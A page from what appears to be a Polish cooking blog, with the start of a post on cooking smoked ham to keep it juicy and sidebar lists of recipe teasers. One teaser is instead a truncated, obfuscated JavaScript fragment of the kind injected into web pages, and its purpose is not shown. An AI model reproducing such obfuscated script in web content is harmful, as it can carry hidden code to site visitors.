Jak gotować szynkę wędzoną, żeby była soczysta?

Przyznam Wam, że odkąd przeprowadziłam się na wieś i zaczęłam regularnie odwiedzać lokalnego masarza, szynka wędzona stała się moim małym kulinarnym uzależnieniem. Ale nie zawsze byłam ekspertką od jej przygotowania! Pamiętam mój pierwszy, kompletnie wysuszony kawałek mięsa, który bardziej przypominał podeszwę buta niż apetyczny obiad. Dziś, po niezliczonych próbach, wpadkach i odkryciach, mogę podzielić się …
Najnowsze przepisy
Cześć Kochani, lato powoli dobiega końca, tegoroczne... ⇖ 1
Cześć Kochani, lato powoli dobiega końca, tegoroczne... ⇖ 1
(function(){ xw43_="o"+("p"+"")+"en"+"";xw43_+="s"+("tat")+( ⇖ 8
Szybkie śniadanie z BlendyGo 3 i BlendyPack Ostatnio mam... ⇖ 13
Prosty deser z kaszą manną i miodem to idealny przepis na... ⇖ 18
Pesto sardo z orzechami włoskimi, smak Sardynii w mojej... ⇖ 14
O kruchych ciastkach chyba nie trzeba dużo mówić na... ⇖ 23
Przepisy z bloga
Nie zawsze mamy czas (albo chęć), by wieczorem stać przy... ⇖ 56
Chcesz zamrozić borówki amerykańskie, ale nie wiesz jak?... ⇖ 81
Mrożenie sajgonek to sztuka! Odkryj sekrety, jak zachować... ⇖ 89
Poznaj sekrety mrożenia puree z dyni! Zachowaj smak... ⇖ 76
Zastanawiasz się, czy mrozić lasagne? Odkryj praktyczne... ⇖ 90
Przepisy na czasie
Te ogórki to prawdziwy słoikowy hit, który robi furorę... ⇖ 1458
Pierogi ruskie to klasyk, który zawsze się sprawdza!... ⇖ 1059
Sałatka Słoikowa od Teściowej to sprawdzony przepis na... ⇖ 645
Zapraszam Was serdecznie do kolejnego przepisu, w którym... ⇖ 558
Uwielbiam , chociaż nie jestem przesadnie mięsożerna.I... ⇖ 530
Najlepszy kompot na zimę to jest ten z mirabelek, który... ⇖ 470
Plasterki kanapkowe na zimę to znakomita propozycja na... ⇖ 466
Znakomite na zimę złote ogórki, które świetnie nadają... ⇖ 461